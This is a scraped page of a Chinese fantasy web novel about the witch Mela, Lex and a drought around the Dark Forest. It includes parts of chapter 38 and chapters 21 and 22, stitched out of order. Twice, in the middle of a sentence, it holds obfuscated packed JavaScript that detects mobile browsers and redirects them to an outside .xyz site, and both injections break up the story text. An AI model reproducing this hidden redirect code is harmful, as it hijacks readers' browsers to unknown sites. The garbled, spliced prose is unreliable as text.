梅拉记得从早上开始,莱克斯就拿着一张纸一支笔在不停地写写画画,她被勾起了好奇心,忍不住从莱克斯的身后冒出来,探头往他手上的纸张看去。 纸上多是一些梅拉看不懂的线条,但最中间那块,画着好几棵像是树木一样的地方,梅拉大概能猜到这是哪。 “这是黑暗森林,对吗?” “没错。中间这一块是黑暗森林,右下角这块是雷德克里夫领,在它旁边的这块则是拜亚德领……”莱克斯对着他画的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959242|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图解释道。 “那这些是河流?”梅拉又指了指另外一些笔画较为短促的线条。 “对。”莱克斯颔首。 梅拉渐渐看懂了莱克斯画的这张地图。 照这么看,黑暗森林这一块的水源确实比她想的还要充足。 首先,有一条较大的河流就在黑暗森林的上头,接着它又分成了几条小的河流穿过黑暗森林的腹地,最后各自流向了雷德克里夫领和拜亚德领。 这也就意味着黑暗森林右下角这一块,哪怕面对旱灾,情况也会比其他地方好很多。 旋即梅拉的视线移到黑暗森林的左上角,莱克斯刚才说这一块大多是山地,所以能耕种的土地并不多。相对应的,往年光靠丰沛的雨水就能满足这里的人们日常所需。 但要是碰上今年这样不下雨的夏季,处境就会变得异常艰难。 然而令莱克斯担忧的并不是这一点。 “当初分领地的时候,或许是担心这些小贵族在封地上掌握太多的资源,所以这一大块领地就被零零碎碎的切了好几刀。” 莱克斯一面说,一面在纸上做标记,让梅拉看着本就崎岖的领地边缘,变得更加不成形状。 “这样有用吗?”梅拉对此表示怀疑。 “咳,这个办法确实是有效的,这几个领地都是王国中出了名的穷地方,各自的领主自然也拿不出什么家底来干些阳奉阴违的事情。” 也就是说,以往的国王安排他们干什么,他们就得干什么。就算狠狠地涨这些领地的税收,这些领主也只能委委屈屈地应下,而不是领着军队直接打到王城去,逼迫王座上的人更改他那不合理的决定。 只不过,把王室的阴谋就这么说出来还是有些不太光彩。 就好像把身上那层光鲜的外衣脱下来了似的。 莱克斯顿了顿,挥去心头古怪的想法,又道,“只不过领地内的资源越是贫瘠,这些小贵族当然也就越是吝啬,连掉在地上的树枝都不准平民轻易捡走。” 一旦有人不守规矩,被发现后挨一顿打都是轻的,极有可能倾家荡产都赔不上那堪称高昂的罚金,只能全家老小一起去干苦力赎身。 当然了,王国的法律确实规定了领地内的一切东西都属于领主的财产,包括树枝也是。 但对于其他富得流油的领主来说,谁会在乎这几根小小的树枝?简直穷得像个笑话。 是听到了要拿来和随从随意取笑的地步。 “既然连树枝都不给捡,那是不是人们也没办法到林子里打猎或是采集了?”梅拉点出了重点。 这正是莱克斯所担心的,“没错。但人们若是没法从领地内获取生存下去的食物和水,到时候或许会铤而走险朝黑暗森林而来。” 别忘了,梅拉的身份可不能见人。 这么多年在教会潜移默化的影响下,还是有许多狂信徒心中极度憎恨着邪恶的女巫的。 而众所周知,黑暗森林里确实住着一名女巫。 梅拉若是不慎出现在他们面前,只会成为众矢之的。 “但我觉得,这么大的森林,他们未必能走到这里。” 相比之下,梅拉的态度倒是淡定多了。 她想,那些走投无路的平民哪怕大着胆子进来,大概也只敢在森林的外围转悠,不可能走到小木屋附近。 如果真有这么一个人闯进来了,势单力孤的情况下,谁怕谁难道不是一目了然的事情吗? 38. 第 38 章 每年的秋季,阳光洒在离镇子数十里远的麦田上,金灿灿的颜色令每一个路过的人都不自觉地露出会心的笑容。 这就是金麦镇这个名字的由来。 然而今年的金麦镇,连磨坊主的脸上都失去了喜色。 深夜,昏暗的屋子里,乔安妮守在门后,却愣是没敢点燃蜡烛。 直到门外响起三声轻叩,乔安妮立刻搬开木栓,打开门,供霍尔钻了进来。 “唉。”霍尔叹了口气,忍不住抱怨,“明明是在自己家,却搞得我们好像是在做贼一样。” “没办法。”说起这个,乔安妮也陪着霍尔长叹了一声。 八月那会儿,因为得了梅拉和莱克斯的提醒,霍尔和乔安妮商量过后,觉得将粮食藏在自家的地窖里并不安全,便开始有意识地背着小镇上的其他人将粮食转移了一大半到别的地方,以防万一。 与此同时,霍尔来到金麦镇除了购置了一栋两层的小屋子外,还在镇外买了十几亩地,借着这个身份,他频繁地与一个粮食商人来往,倒也没有引起任何人的注意。 两人坐在酒馆里,捧着一大杯劣质麦子酒大喝特喝,互相倾吐生活中的不快。 当然,以霍尔的性格,大多数时候都是作为倾听的那一个。 但这个做法帮他迅速地拉近了和这名粮食商人的关系,因此当他假装不经意地打探其他地方粮食的价格时,这名粮食商人立刻像竹筒倒豆子一样全盘托出。 越听,霍尔越是心惊。 原来在他只是隐隐察觉不对劲的时候,其它地方早就有了异动。 以黄豆为例,目前在金麦镇花八十枚铜币就能买到半袋,但在更远一些的地方,竟然要花一百枚铜币。 这还是没出拜亚德领的价格。 霍尔不敢想象其它领地又是怎样一番境况。 然而这些消息除了会东奔西跑的商人们之外,谁又有途径和心思打听呢?像金麦镇上的大多数人都只关注眼前的生活,鲜少会好奇其他地方的事情。 哪怕是同他们提起附近的雷德克里夫领,往往只会得到一张茫然的脸:“噢,我家可没有亲戚在那么远的地方,从来没想过要关注那儿的消息。” 不过,若是像霍尔这样的陌生人带着妻子来到金麦镇生活,就会沦为整个镇子长达半个月的谈资。 当然,看在税务官的面子上,谁也不会怀疑他们的身份其实并不属于拜亚德领,只当霍尔是在村子里攒了钱,特地搬到镇上来住的那类人。 尽管接触下来,大家发现霍尔和乔安妮并不是爱慕虚荣的性格。 总之,因为曾经误解过霍尔和乔安妮,这回哪怕有人意识到这对夫妻的某些举动似乎有些反常,也并没有声张,只当是自己的胡乱揣测,丢到了脑后。 这样反倒帮助霍尔顺利完成了转移粮食这件事。 而后来一天天上涨的粮食价格,也让霍尔无数次和乔安妮感叹梅拉和莱克斯的先见之明。 否则以他们俩打点税务官,买了房子和土地后手上剩的那三瓜两枣,怕是压根买不起现在两百枚铜币才能买到的半袋小麦粉。 类似的窘迫并不只出现在霍尔和乔安妮这里,他们的邻居,乃至大半个金麦镇的人家,餐桌上的食物都变得越来越少,饿肚子的时候却越来越多。 为了不让别人察觉到他们竟然还有多余的食物,每回霍尔都得趁着夜色偷摸离开家,而乔安妮则负责守在门后,等听到约定好的敲门声再迅速将人放进来。 “对了,家里水缸里的水还够用吗?”霍尔将系在腰上的袋子递给乔安妮,里头装着满满一袋豆子,顺便问道。 这袋豆子想要敞开肚子来吃是不可能的,但至少每顿加点豆子进去,能不使人饿得胃里仿佛有炭火在烧。 更何况,霍尔和乔安妮也不敢让自己看起来和其他人不太一样,拥有过于饱满的脸颊和红润的脸色,那不是明摆着告诉别人他们家里藏着猫腻吗? 乔安妮面带难色地摇了摇头,估摸着算出了一个数字,“大概还能再坚持四五天左右。” “这可难办了……”霍尔发出了今晚的第二声叹息。 自从天气越来越热之后,金麦镇上唯一的一口水井就被严格看守了起来,一般人想要去取水,都得按照规矩拿着规定的器皿去才行,否则还没靠近井口就会被看守的人推搡开。 像霍尔和乔安妮只有两个人,那他们三天才能取一瓦罐的水。 这么点水怎么可能够两个人喝。 但为了这点小事拿钱出来贿赂看守的人,无论是霍尔还是乔安妮都觉得并不值得,毕竟谁也不知道什么时候天气能凉快下来,再痛痛快快地下一场雨,因此必须得将钱花在最要命的时刻才行。 “梅拉小姐那边,情况应该会比我们好很多吧,毕竟黑暗森林可不缺水……”乔安妮自顾自地喃喃道。 * 而被乔安妮惦记着的梅拉,此刻正对着少女倔强的双眸感到一阵头疼。 本来梅拉只是觉得吃撑了,随便到小木屋附近散散步。 临出门前,她其实还邀请了塞拉斯和莱克斯,但一个懒得动弹,一个忙着清洗餐具,都拒绝了她的好意。 那好吧,梅拉耸了一下肩膀,一个人潇洒地出门去了。 在连着一个月的烘烤下,森林里许多植物都面临了枯萎,即使勉强撑着活下来,也是一幅蔫耷耷的样子。 梅拉摸了摸一株低垂着脑袋的,原本长得格外漂亮的紫叶珊瑚蕨。 因为过度缺水,深紫色的叶片褪色成了浅紫,连带着覆盖在叶片上肉眼看不见的绒绒的一层,也变得又硬又干,失去了曾经毛茸茸的手感。 即使如此,它的状态也比周围的其它植物要好多了。 也不知道什么时候能下一场酣畅淋漓的雨,重新使这些无言的生命活过来。 梅拉松开了手,继续悠悠地往前走。 关于这件事,莱克斯还问过她,为什么不能占卜呢? 以梅拉的能力,莱克斯相信她可以做到。 然而梅拉却支着下巴,望着窗外,即使是这样刺眼的阳光,似乎也没有完全照进那双幽绿的深潭中。 她说,“占卜和预言是不一样的。” “占卜,是从已知的信息中得到既定的未来,也就是说,占卜得来的结果,是一定要发生,或已经发生过的事情。” “而预言,则是从未知的命运中窥探有可能发生的未来。” 光是窥探命运这一步,就没有几个女巫能做到,不过,对于梅拉这样天赋异禀的女巫来说,倒也算不上特别困难。 但是,即使梅拉看到了命运,未来也不一定会发生。 譬如梅拉看到十天后就有一场雨要降临,但十天后真的会下雨吗?不一定。 其中的原因很简单,梅拉也早就和莱克斯说过,命运是会更改的,而不是一成不变的死物。 所以,梅拉自始至终都没有想过要用水晶球占卜一下这件事。 说到底,她能做到的,也只有等待。 等待那一场命中注定要落下的雨。 不知不觉间,梅拉走到了河边。 月明星稀的夜晚,当一团团微光忽然从河畔的芦苇丛中飘起,自然一下子就吸引住了梅拉的目光。 是萤火虫。 梅拉看着它们慢悠悠地四散开来,情不自禁伸出手,接住了其中一小团黄色的光点。 或许是感受到了梅拉释放出来的善意,又或许是觉得梅拉身上的草木气息熟悉而心安,这只萤火虫颤颤巍巍地落到了梅拉的指尖,供她细细地观摩。 随着它的尾巴一下一下地闪动光芒,梅拉仿佛感受到了生命的呼吸。 她的心也跟着不自觉地宁静下来。 这只萤火虫在梅拉指尖停留的时间并不长,大概几个眨眼的功夫,它就重新飞起来,追着某个同伴而去。 梅拉任它离开,没有再接着走到河畔停留,而是沿着河流往上游走去。 然后,就发生了梅拉最不想看到的一幕。 一个十五六岁的少女突然闯到她的面前,两人互相将对方吓了一跳。 “你是谁?”少女最先回过神来发问,似乎想要占据对话的上风。 “你又是谁。”和她咄咄逼人的语气相比,梅拉要显得淡定从容得多。 听到梅拉的反问,少女似乎噎了一下,倒也乖乖回答了问题,“我叫格温蒂尔。” 她没有说自己从哪来,但梅拉不动声色地打量过她的衣着与鞋底附近沾着的那厚厚的一层泥,断定她应该是从北方领地逃来的。 这比她和莱克斯预想的时间还要早。 他们都以为,起码得等秋季过去一小半,才会闹出大的动静来。 但现在,秋天才刚刚开了个头。 看来北方领地的情况比梅拉与莱克斯想象的还要严重。 “那你呢?你还没回答我的问题呢。”格温蒂尔是个急脾气,也是少女的性情,觉得两人之间的问答应该有来有往才对。 结果听了她的话,梅拉却一摊手,奇怪地道,“我有答应要回答你的问题吗?” 明明是她迫不及待地告诉了梅拉自己的名字。 格温蒂尔这下是真噎住说不出话来了。 她没想到梅拉竟然能这么无赖,明明梅拉看上去是位美丽得超脱油画中的女仙般的人物,而格温蒂尔一直以为只有男人才会这样欺负人。 “格温蒂尔,你面前站着的这位是?” 忽然,又一个人从林子里走了出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967519|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是个中年男人,脸上布满了浓密的胡须,叫人看不清他的五官,只能看到那双闪烁着精光的灰眸。 但他的身板肉眼可见的结实,胳膊粗得仿佛能一拳往地上打出一个深坑来。 有了这样一个人在身后,格温蒂尔顿时像有了坚实的后盾似的,下巴微抬,故意阴阳怪气地答道:“我也不知道呢,她是刚刚突然窜出来的,把我吓了好大一跳。” 喂喂,到底是谁忽然窜出来吓了谁一跳。梅拉好笑地看着这个比自己小了不少岁的小姑娘。 倒也没有因为她的话感到生气或冒犯。 男人谨慎地看向梅拉,眼神中带着歉意,“不好意思,格温蒂尔年纪还小,说话喜欢刺人,但我想她的意思并不像她说的那样,她只是想知道你的身份和来历罢了。如果你愿意把这些告诉我们,那就太好了。” “那你呢?在我把这些事情告诉你们之前,不如你先说说你的身份和来历好了。”梅拉漫不经心地道。 明明她这边只有她一个人,却愣是没有对陌生男人的惧意与忌惮,好像根本不担心男人与格温蒂尔联手对她怎么样似的。 男人愣了一下,露出了一个应该属于和善的笑容,只不过嘴巴被他的胡子给挡住了,所以梅拉只能从他眼角处弯成沟壑的皱纹来判断。 “我叫葛宁克,和格温蒂尔一样是从北方领地而来。至于具体是哪位领主的领地,就请让我们保密吧,毕竟我和格温蒂尔还不想以后回去被人抓住把柄,只能以奴隶的身份活下去。” 明明是这么严肃的话题,葛宁克却以玩笑的语气说了出来,让梅拉与格温蒂尔隐隐处于对峙的气氛一松。 看得出来,这是个会说话的高手。 “我叫梅拉,和你们差不多,但不是从北方领地而来。” 梅拉顺着葛宁克的话说下去,可以说是滴水不漏。既没有露出让葛宁克和格温蒂尔起疑的消息,毕竟她现在还不知道外面具体的情况是怎么样,瞎编容易编过头,但也没有完全不拿出值得交换的信息。 至少她告诉了他们,自己的真名不是吗?他们两还未必一个真的叫葛宁克,一个真的叫格温蒂尔呢。 当然,同样的怀疑大概也存在葛宁克与格温蒂尔心中。 只不过,葛宁克也不好说梅拉什么,毕竟刚才那番简单的交流里,他除了名字外,一样没有拿出别的信息。 因此他听了只是笑一笑,继续道,“我相信,你和我们一样,都是走投无路的人,否则谁会愿意来这阴森恐怖的黑暗森林呢?” “就是啊,一路走来若不是有葛宁克在,我怕是要被突然冒出来的野兽给生吞活剥了,还有那些防不胜防的藤蔓和荆棘、扎人的刺刺果,也不知道那个臭名昭著的女巫是怎么在这鬼地方生活下去的。说不定她的性情也和这座森林一样阴暗。” 格温蒂尔或许也是急着和梅拉拉近距离,顺着葛宁克的话抱怨道。 结果听到她的话,梅拉玩味地一挑眉,嘴角的笑意愈深。 她怎么不知道什么时候外头的传言又变了,她竟然成为了臭名昭著的女巫了,明明这些人连她的名字都不知道。 “格温蒂尔……”葛宁克喊了她的名字,用眼神示意她不要乱说话。 “是哦,这可是那女巫的地盘,万一现在正有哪只乌鸦在暗地里盯着我们看,等着把这些话学舌给那女巫听呢。” 格温蒂尔会意,想起曾经听过的那些传言,女巫有个邪恶的乌鸦帮手,吓得她立刻捂住了自己的嘴,警惕地打量四周的树上,到底是不是藏着一只暗中窥探的乌鸦。 “……”这回葛宁克都沉默了,看起来很想要按住突突跳起的太阳穴。 从他的态度上,梅拉聪明地意识到了什么,原本她还想隐藏身份,多听听这两人给她说些外头的事,好了解外面的情况。 但现在,梅拉却觉得没必要了,干脆直白地问,“葛宁克,你从一开始就猜到我的身份了对吗?我很好奇,你是怎么猜到的呢?” 从他们见面过去了不到一刻钟,梅拉自觉没有任何露馅的地方才对。 葛宁克从提醒格温蒂尔那一刻就知道他这么做或许同样也提醒了梅拉,但他想了想,还是不希望格温蒂尔因为一些鲁莽的话触怒女巫,落得一个血淋淋的下场。 如今见到梅拉爽快地变相承认,自己确实是女巫,葛宁克反而松了口气。 “咦,梅拉是什么身份?我怎么不知道?葛宁克,你们之前认识吗?”格温蒂尔还在一旁傻傻地问。 换来梅拉一个充满怜爱的眼神。 真是个表里如一的单纯姑娘。 “我就是你口中那个,臭名昭著,喜欢住在这种阴森可怖的地方,同时性情阴暗的女巫啊。” 梅拉笑眯眯地道。 20-30 第21章 第 21 章 [小情侣互动] “你又来啦。” 自从上次梅拉替黑狼救下母狼, 还帮助母狼顺利产下小狼崽后,这头黑狼三不五时就要叼着猎物送来小木屋。 有时候是几只野兔,有时候是一头小羊羔。 大概是因为黑暗森林里植被丰茂的缘故,这类食草的动物各个都把自己养得滚圆, 用来蹦跳的四条腿更是格外有劲, 看着十分嫩弹。 塞拉斯头一回见到黑狼叼着猎物前来,还会扯着嗓子朝屋子里大声叫唤, “梅拉!莱克斯!大黑狼叼着一头小羊羔来了, 你们快来看啊!” 叫唤完, 塞拉斯便飞到被黑狼放到地上的小羊羔身旁, 一双黑豆眼不停地来回打量。 塞拉斯不懂得分辨猎物的好坏, 但这头小羊羔的分量肉眼可见,足够他们吃上好几顿了,尤其是这四条腿, 塞拉斯已经迫不及待怀念起曾经吃过的, 油汪汪、且香料味十足的烤羊腿了。 看在梅拉的面子上,黑狼放任了塞拉斯的靠近。它则蹲坐在一旁,伸出舌头,把嘴角的血迹舔干净了。 虽然梅拉不害怕血,但她却会因为裙子上沾了血而狠狠揉搓黑狼那对毛茸茸的大耳朵。 以防万一,黑狼还是先把自己弄干净了再说。 “让我看看小羊羔在哪里。”听到塞拉斯的声音,梅拉慢吞吞地从小木屋里走出来。 等到梅拉看见那头被母羊养得肉嘟嘟的小家伙, 她笑眯眯地在黑狼面前蹲下, 摸了摸它的脑袋,“是特地送来答谢我的礼物吗?我很喜欢。这么肥嫩的一只小羊羔,我会好好享用它的。” 黑狼又低低地呜咽了一声。 虽然梅拉没有来抱它,但黑狼主动地用自己的脑袋往梅拉的手心蹭了蹭。 然后它一扭头, 毫不留恋地走了。 母狼还带着四只嗷嗷待哺的小狼崽子在洞穴里等着它带吃的回去呢。 只有充足的食物,才能让母狼泌出足够的乳/汁。 尤其几只小狼崽子不愧是它的孩子,胃口天生就比普通的狼崽子要大,动不动就嗷嗷叫唤,蹭到母狼身下,表示自己饿了。 对于动物来说,能吃就代表着健康,看来当初母狼的难产并没有对孩子们造成多大的影响。 这让黑狼一面开心,一面深感身上的压力庞大。 没办法,它和母狼是脱离狼群,独立结成的小家,如今母狼需要留在洞穴里照顾孩子们,狩猎的重担只能全部落在了它的头上。 好在黑狼的身手向来矫健,加上春天来临,原本躲起来过冬的动物们纷纷出来觅食、诞育新的生命,几乎遍地都是狼的猎物。 只不过就是得多费几趟功夫。 譬如黑狼需要先跑一趟,把刚刚得手的猎物送去小木屋,再趁着天没黑前跑一趟,抓到新的猎物,带回自己的洞穴里投喂母狼。 后来黑狼来的次数多了,连塞拉斯都渐渐习以为常,不再大惊小怪。 顶多懒洋洋地投去一眼,说一句,“你又来啦。” 就算是和黑狼打招呼了。 一般黑狼见到梅拉或是莱克斯,确认自己送来的猎物不会被别的动物夺走后,就会扭头离开。 但今天黑狼来得不巧,梅拉正在煮一锅新的药水,没法抽身,莱克斯又出门去了。 于是黑狼把叼来的小羊羔放下,静静地守在一旁,毕竟在它眼里,塞拉斯可不像是能守住猎物的样子。 然而见黑狼今天竟然留了下来,塞拉斯梳理羽毛的动作一顿。 虽然这些天黑狼送来的猎物它一个不落地都吃进了肚子里,但黑狼送猎物的举动实际上还是在小心眼的塞拉斯这儿留了根刺,它总觉得黑狼是在讨好梅拉,没看见梅拉时不时就要念叨一句: “也不知道黑狼下次什么时候来?” “唉,最近兔子吃腻了,黑狼要是能带只羊羔来就好了。” 可恶,本来多了个莱克斯和它抢梅拉的注意力就算了,现在难道还要再挤一头黑狼进来吗? 想到这,塞拉斯从窗台上飞下来,落到已经咽气了的小羊羔旁边,装模作样地绕着它走了一圈,嘴里不忘挑三拣四: “今天这只小羊羔的个头可没有上回带来的那只大,也就勉勉强强吧,腿这么瘦,就算单独切下来做烤羊腿也没几两肉。” 面对塞拉斯的挑衅,黑狼只是淡淡地瞥了它一眼,发出一声不屑的轻哼。 那样子仿佛在说,“换做是你,怕是连这样的一只小羊羔都猎不到,有什么资格在这里挑挑拣拣”。? 塞拉斯神奇地领悟了黑狼的意思。 然后塞拉斯就怒了。 完全忘记了明明是它故意挑衅黑狼,才换来黑狼的反击。 “你竟然敢小瞧我!”塞拉斯重重地从鼻腔里哼出一声,“我可是也往小木屋带回过不少猎物的,其中还有一头正值壮年的雄鹿。怎么样,这你猎不到吧?” 塞拉斯得意洋洋地抬起下巴,结果发现自己站在地上压根无法蔑视黑狼,毕竟它还没狼腿高。 于是塞拉斯拍打着翅膀飞起来,做足了居高临下的高傲姿态。 即使是黑狼,在没有狼群的助力下,也不敢轻易贴近雄鹿的身边,那对巨大的树杈子一样的犄角一顶,可是能把狼直接顶飞出去,甚至顶出一个血糊糊的洞来的。 只不过,黑狼用怀疑的眼神盯着塞拉斯看了一会儿,这只乌鸦该不会是骗狼的吧?它看起来可不像是能猎到一头雄鹿的样子。 塞拉斯挺起胸脯,毫不畏惧地迎上黑狼打量的目光。 它可没说谎。 虽然那头雄鹿主要是被莱克斯用箭射死的,但如果没有它塞拉斯给莱克斯报信,莱克斯也不可能知道几百米外有一头雄鹿正在河边喝水,再让他找着机会悄悄地摸到边上的灌木丛后,搭起弓箭,拉满,射出。 下一秒,雄鹿让箭矢射中,被带得直接倒地。 箭矢射中的是雄鹿的脖子,没能一击毙命,而它已经意识到自己被盯上了,倒地的下一秒便挣扎着要重新站起来。 莱克斯忙不迭地射出第二箭、第三箭,直到看见雄鹿不再挣扎,彻底咽气后,才带着落到肩头的塞拉斯上前,把它一路拖回了小木屋。 总之,虽然大部分功劳是属于莱克斯的,但塞拉斯自认为能猎到雄鹿,它也出了一份力。 见塞拉斯的模样十分坚定,不像作假,黑狼难得产生了一丝动摇,难道这只看起来弱小不堪的乌鸦真的能猎到一头雄鹿? 不,黑狼猛地摇了摇头,不可能,这只狡猾的乌鸦一定是在骗狼。 “你们在聊什么呢?”梅拉终于从小木屋里走出来。 看见黑狼身旁的小羊羔,梅拉顿时眼睛一亮,“太好了,今晚有羊肉可以吃了。” 她前两天还在念叨,不知道能不能和黑狼说一说下回带只小羊羔来,她馋烤羊排,烤羊腿的滋味了。 结果黑狼先一步带着小羊羔出现了。 “你和我可真是心有灵犀呀。” 梅拉忍不住蹲下来,抱住黑狼的脑袋,拿自己的脸去蹭它。 黑狼看似镇定自若,任由梅拉蹭自己,其实在心里悄悄松了口气,还好这回它依旧在狩猎完后清理了嘴角的血迹,否则梅拉大概就要嫌弃它了。 接下来无论梅拉是要捏黑狼的耳朵,还是要挠黑狼的下巴,它都伫立不动,像一尊威严的雕像。 它也只对梅拉如此亲近。 像莱克斯,就不准摸它。 一旦莱克斯有打算靠近它的意图,黑狼立刻就会对他呲出獠牙,一副你敢过来就咬你的模样。 当然,偶尔也有例外。 比如现在,梅拉冲着黑狼身后呼唤道:“莱克斯,快过来!” 看在梅拉的要求上,黑狼默许了另一道脚步声靠近自己,在梅拉面前蹲了下来。 莱克斯今天出门是为了去摘野樱桃。 梅拉最近突然特别想吃樱桃,可距离杜克瓦托上一次送东西来才过去不到三天,又为了这事让他专门跑一趟,即使是梅拉也会觉得不好意思。 可嘴馋这回事,就是越吃不到越馋,以至于梅拉一连好几天都在唉声叹气。 没办法,莱克斯只好出门,到处寻找野生樱桃树的踪迹。 没想到,竟然还真给他找到了。 只不过因为缺少人工的照料,这些野樱桃的个头算不上大,吃起来也比较酸涩。 但莱克斯想到食谱上写过一道菜,叫丁香樱桃糊,做法并不难,只需要将樱桃加热到变软,再放入棉布袋中,丢入锅里煮上几个小时,期间不断搅拌,让流出来的汁液变得浓稠,再加入蜜糖与丁香粉便大功告成了。* 这样一来,即使是酸涩的野樱桃,也能变得无比甜蜜,不至于让梅拉酸得无法下嘴。 想到这,莱克斯手上的动作不停,最后背了整整一筐野樱桃回来。 现在,那几棵野樱桃树的树枝上变得空荡荡的,想要觅食的小鸟根本看都不看一眼,便咻咻咻地飞了过去。 梅拉看到莱克斯身后,那一筐满得仿佛快要溢出来的野樱桃,光看外表的话,虽然它们的个头与在集市上买来的相比小了点,但仍然是一副红艳艳的看起来格外好吃的样子。 因此梅拉从莱克斯背着的筐里抓了一大把野樱桃,想了想,她又去把自己的篮子拿来,将这些樱桃装了进去,方便黑狼待会儿叼着走。 “这些樱桃你就带回去吃吧。”梅拉笑吟吟地道。 虽然黑狼给她送猎物来是为了报恩,但她也不能一点表示都没有,正好,狼应该吃果子吧?反正这些野樱桃不要钱,梅拉十分大方地把篮子给塞满了。 莱克斯本来可以提醒梅拉,这些野樱桃的口感其实不太好,给狼吃大概会酸得一张狼脸都皱起来。 但莱克斯什么也没说。 之前梅拉曾提起过,她并不是第一次遇见这头黑狼。 彼时梅拉刚到黑暗森林不久,还在四处查看哪里有她可以用得上的草药,没想到却意外撞见了刚离开狼群,独自狩猎,结果因为经验不足,导致不小心让盯上的猎物伤到自己腹部的黑狼。 当时黑狼奄奄一息地躺在地上,腹部被顶开了一道大口子,正源源不断地往外流血。即使如此,见到梅拉想要靠近自己,它还是使劲呲出獠牙,试图吓走这个胆大包天的人类。 然而梅拉根本不怕它,直接走过去,蹲下来拍拍黑狼的头,像平时教育不听话的塞拉斯一样,“不准凶,给我乖乖的,乖乖的我就给你治疗伤口。” 黑狼哪里受过这种侮辱,顿时气得想要爬起来,给梅拉来上一口,让她长长记性。 可惜黑狼现在已是强弩之末,别说站起来了,突然爆发的怒火也只让它蹬了几下腿,根本立不住。 “哎呀,你怎么这么不听话?看看你这一动,伤口流出来的血都变得更多了。”梅拉又拍了黑狼一下。 但她也没有再耽搁,掏出随身携带的治愈药剂,拔开木塞,往黑狼嘴里倒了几滴。 几乎是眨眼的功夫,黑狼的伤口便不再往外流血,等再过了一会儿,伤口竟然隐隐开始有了要愈合的趋势。 “很快你的伤就能好了,但是作为你不乖的惩罚,我要好好地教训你一下。”梅拉笑眯眯地逆着摸了摸黑狼背上的毛,又飞快地胡乱揉搓一通,总之把黑狼身上搞得乱糟糟的,堪称惨不忍睹。 也就是黑狼这会儿还没恢复力气,没法躲开她的魔爪,只能眼睁睁地看着梅拉揉开心后,哼着歌就这么走了。 后来,梅拉没再遇见过这头年轻的黑狼,但总有一道视线会在她离开小木屋,深入黑暗森林的腹地之后紧紧地跟着她。 梅拉知道,是那头被她救了的黑狼在暗中保护她。 而听了这番话的莱克斯忽然想起来几年前,他与梅拉救下巴奇时,曾出现过一道令他感到不适的视线,当时他只以为自己是被不知名的野兽给盯上了,还在暗中防备,防止意外发生。 结果一路找到巴奇,那道视线却神秘地消失了。 或许当时盯着他的就是黑狼。莱克斯若有所思地想到,可能它是发现梅拉身边多出来了一个陌生的人类,所以在替梅拉防备他吧。 如果只是这样,莱克斯到也不至于非得用酸不可耐的野樱桃作弄一下黑狼。 但,莱克斯想起自己后来外出狩猎时,有过好几次猎物不见了的情况。 应该也是这头黑狼干的吧。 说不定是它觉得盯了莱克斯这么久,正好饿了,就顺嘴把莱克斯的猎物给叼走了。 于是莱克斯眼睁睁地看着黑狼叼着篮子的身影消失在了树林之间,嘴边勾着一抹似笑非笑的弧度。 “等一下。” 察觉身旁的梅拉试图拿一颗樱桃塞入嘴里尝尝味时,莱克斯速度极快地伸手拦住了她。? 梅拉让莱克斯的动作逼得眼睛都稍微瞪大了一些,正不明所以地看着他。 “除了丁香樱桃糊,我忽然觉得做羊肉樱桃羹也很不错,可惜这些樱桃的数量太少了,也不知道够不够用。”莱克斯镇定地道。 全然看不出撒谎的痕迹。 “是这样啊,那我就先不吃了吧。”梅拉恋恋不舍地把手里的野樱桃放回筐里,同时忍不住期待莱克斯说的丁香樱桃糊和羊肉樱桃羹到底有多好吃。 光是这么想一想,都好像有点想流口水了。 第22章 第 22 章 [莱克斯视角居多] 又到了每月一度, 霍尔往黑暗森林送粮食的日子。 这些年,他堪称风雨无阻地按照约定前来,从来没有拖延过一回。 莱克斯还记得有一年初雪提前降临,呼啸的冷风裹着大朵大朵的雪花往下落, 才过了两天, 地上的积雪就堆了厚厚的一层。 明天就是霍尔来送粮食的日子,莱克斯望着小木屋前的空地上, 厚度足足淹过了半截小腿的积雪, 心中不免有些担忧, 霍尔是否还能带着粮食准时前来。 毕竟这么厚的积雪, 人走在上头都行动不便, 更别提还要推一辆载满了粮食的木板车了。 “放心吧。” 反倒是梅拉跟个没事人一样,端着茶杯走过来,站在莱克斯身旁, 淡定地呷了一口茶水, “霍尔一定会来的,他还得找我拿下个月要用到的变形药剂呢。” 真的吗? 莱克斯抱着半信半疑的态度,来到第一次见到霍尔的那棵树下,远远地就瞧见了一个黑色的圆点在主动朝着这个方向靠近。 等他再走近一些,顿时露出了霍尔那张眼熟的脸。 看来梅拉说得没错,这三瓶变形药剂对霍尔来说确实很重要,莱克斯心道。 而瞧见已经站在树下的莱克斯, 霍尔脚下立刻加快了前进的速度, 为了推动这满满一车的粮食,他额上的青筋都崩出了好几根。 莱克斯倒也没有站在原地干等着,他快步上前,帮了霍尔一把, 两人合力将木板车推到了树下。 “呼,呼。”总算能停下来歇一会儿了,霍尔大口喘着气,明显是累坏了。 难怪霍尔会这么累。 莱克斯握了握拳头,掂量了一下刚才推车时感受到的重量,觉得若是换成自己,大概也不会比霍尔好到哪去。 又想到霍尔一路从村子到这里,全靠自己一个人推着木板车,地上还有如此厚的积雪,说不定天还没亮就起来赶路了。 当然,对霍尔来说,这一切的辛苦在见到莱克斯掏出来的三瓶变形药剂后,立刻化为了乌有。 霍尔忙不迭地从莱克斯手中把药剂接过来,宝贝地塞入怀里,还刻意给它们挪了挪位置,防止自己走动时不小心让三个玻璃瓶撞到一起,出现了裂痕。 